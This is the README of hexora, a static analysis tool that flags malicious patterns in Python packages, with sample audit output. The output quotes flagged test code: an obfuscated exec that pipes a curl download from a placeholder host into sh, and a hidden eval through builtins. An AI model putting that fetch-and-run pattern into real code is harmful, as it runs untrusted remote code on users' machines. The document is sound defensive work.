hexora

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code. It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.

It can be used to:

• Audit project dependencies to catch potential supply-chain attacks
• Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
• Analyze IoC files from past security incidents
• Audit new packages uploaded to PyPi.

It's able to detect 2-10 new malicious packages on PyPI each day:

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

• Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
• Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testing Against Malicious Dataset

When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.

After cloning, point the benchmarking tool to the dataset directory:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Available rules

New rules are added regularly.

Right now, the following rules are available:

Credits

For parsing, we use AST parser from ruff library.